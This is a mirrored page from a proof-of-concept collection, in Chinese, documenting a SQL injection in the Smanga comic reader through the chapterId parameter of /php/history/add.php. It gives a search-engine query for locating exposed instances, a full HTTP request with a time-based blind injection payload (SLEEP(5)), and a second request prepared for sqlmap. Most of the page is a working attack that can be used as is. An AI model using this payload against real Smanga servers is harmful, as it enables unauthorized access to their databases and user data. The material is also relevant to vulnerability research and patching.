mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
59 lines
2.4 KiB
Markdown
59 lines
2.4 KiB
Markdown
![]() |
# Smanga mediaId存在SQL注入漏洞
|
|||
|
|
|||
|
# 一、漏洞简介
|
|||
|
Smanga无需配置,docker直装的漫画流媒体阅读工具。以emby plex为灵感,为解决漫画阅读需求而开发的漫画阅读器。Smanga mediaId存在SQL注入漏洞.
|
|||
|
|
|||
|
# 二、影响版本
|
|||
|
+ Smanga
|
|||
|
|
|||
|
# 三、资产测绘
|
|||
|
+ hunter`web.title=="smanga"`
|
|||
|
+ 特征
|
|||
|
|
|||
|

|
|||
|
|
|||
|
# 四、漏洞复现
|
|||
|
```java
|
|||
|
POST /php/history/add.php HTTP/1.1
|
|||
|
Host:
|
|||
|
Cache-Control: max-age=0
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
|
|||
|
Cookie: thinkphp_show_page_trace=0|0
|
|||
|
Connection: close
|
|||
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
Content-Length: 196
|
|||
|
|
|||
|
chapterCover=1&chapterId=1' AND (SELECT 6064 FROM (SELECT(SLEEP(5)))bcUs) AND 'IwYx'='IwYx&chapterName=1&chatpterPath=1&chaptertype=image&keyword=1&mangaCover=undefined&mangaId=1&mangaName=&mediaId=1×tamp=12123123&userId=1
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
sqlmap
|
|||
|
|
|||
|
```java
|
|||
|
POST /php/history/add.php HTTP/1.1
|
|||
|
Host:
|
|||
|
Cache-Control: max-age=0
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
|||
|
Accept-Encoding: gzip, deflate
|
|||
|
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
|
|||
|
Cookie: thinkphp_show_page_trace=0|0
|
|||
|
Connection: close
|
|||
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
Content-Length: 196
|
|||
|
|
|||
|
chapterCover=1&chapterId=1&chapterName=1&chatpterPath=1&chaptertype=image&keyword=1&mangaCover=undefined&mangaId=1&mangaName=&mediaId=1×tamp=12123123&userId=1
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
|
|||
|
> 更新: 2024-02-29 23:55:42
|
|||
|
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/ip5new4ve7mtypcf>
|